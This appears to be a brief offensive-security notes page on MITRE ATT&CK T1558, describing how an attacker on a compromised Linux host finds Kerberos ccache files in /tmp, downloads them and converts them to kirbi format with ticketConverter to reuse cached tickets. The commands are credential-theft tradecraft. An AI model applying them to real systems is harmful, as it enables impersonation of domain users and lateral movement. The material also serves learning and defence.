Kerberos Tickets

MITRE ATT&CK, Credential Access, Technique T1558

Stealing Kerberos Tickets on Linux

Kerberos Credential Cache (ccache) files contain Kerberos credentials for the domain user that has authenticated to the Linux machine, this is often a cached TGT. These are referred to as a Linux Cached Credential and are stored in /tmp and can be exfiltrated by an attacker to request service tickets.

# Upon compromising a Linux system we identify a ccache file in /tmp
ls /tmp

-rw------- 1 parzival  domain users 1342 May  18 14:39 krb5cc_1337_TejHnF

# We can then download this ticket to our local machine and convert the ticket from ccache to kirbi
python3 ticketConverter krb5cc_1337_TejHnF parzival.kirbi

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